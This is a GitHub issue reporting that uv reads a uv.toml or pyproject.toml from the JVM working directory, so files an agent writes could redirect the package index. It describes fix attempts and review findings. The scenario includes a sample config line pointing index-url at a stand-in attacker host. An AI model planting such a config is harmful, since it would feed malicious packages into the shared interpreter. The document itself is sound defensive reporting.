Skip to content

uv reads its configuration from the JVM working directory, which can redirect the package index #45

Open

Description

@morisil

When uv is on the PATH, PythonDependencies runs uv pip install --python … --target … in the JVM's working directory,
and uv reads its configuration from there: a uv.toml, or a pyproject.toml with a [tool.uv] / [tool.uv.pip] section, in the working directory (or a parent of it) changes where packages come from.

Scenario: an agent writes, among its generated files, a uv.toml with index-url = "https://evil.example/simple" into its working directory —
every later dependency install pulls from that index into the shared dependency directory, and the packages are then imported by the embedded interpreter.

Verified with uv 0.13.7: both files made uv pip install --python .venv/bin/python --target … contact the configured index.
pip is not affected — it does not read a pip.conf from the working directory.

It is the same threat as #24 (files in the working directory steering the installer), through configuration instead of sys.path.

Possible fix: pass --no-config to uv (keeping the user-level configuration through UV_CONFIG_FILE, or documenting that only environment variables apply),
and/or run the installer processes in a neutral directory (runProcess gains a directory parameter with the fix for #24).

Found during the review of the fix for #24 — pre-existing on main.

Activity

  1. morisil commented on Nov 11, 2026

    @morisil
    MemberAuthor

    Status from an automated fix run: blocked after 3 review rounds; the work is on the branch issue-45-uv-config (off main), no PR opened.

    Designs tried:

    1. Run the installer in the file system root — breaks relative paths (pkg @ ./dist/x.whl, relative UV_CACHE_DIR / UV_CONFIG_FILE) that work on main.
    2. uv --project <root of the working directory> — still reads the working directory's uv.toml when the working directory is the root (Docker without WORKDIR, systemd services, D:\), and uv < 0.4.16 rejects --project.
    3. (current) uv ≥ 0.2.30 gets --no-config --config-file <the user config, else the system config> (nothing when UV_CONFIG_FILE is set); older uv unchanged. Closes the threat for every working directory, verified with uv 0.2.29–0.13.7.

    Remaining blocking findings of the 3rd review — design 3 re-implements uv's config discovery and gets it wrong vs main:

    1. The user config is located through Java's user.home (the passwd entry), while uv uses $HOME — a container setting HOME=/app silently loses its company index; with no passwd entry user.home is ?, a relative path, which could reopen this issue.
    2. With a user config present, the system config is no longer merged under it (uv ≥ 0.5 does) — an index-url from $XDG_CONFIG_DIRS/uv/uv.toml is lost.
    3. UV_NO_CONFIG=1 is overridden by the explicit --config-file.

    Suggested direction (verified by the reviewer with uv ≥ 0.4.18): --project <a private directory holding an empty uv.toml> (e.g. next to the dependency directory) — uv stops its discovery at the first uv.toml, so the working directory is never read, and uv itself still merges user and system config with its own HOME / XDG / UV_NO_CONFIG logic; keep --no-config as the fallback for uv versions without --project.

    Minor: the protection fails open silently when uv --version can't be parsed (log a warning); uv --version is spawned per install under the lock (cache it).

    Also found and fixed on the branch, pre-existing on main: --constraints is rejected by uv 0.2.30–0.5.0 — filed separately.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions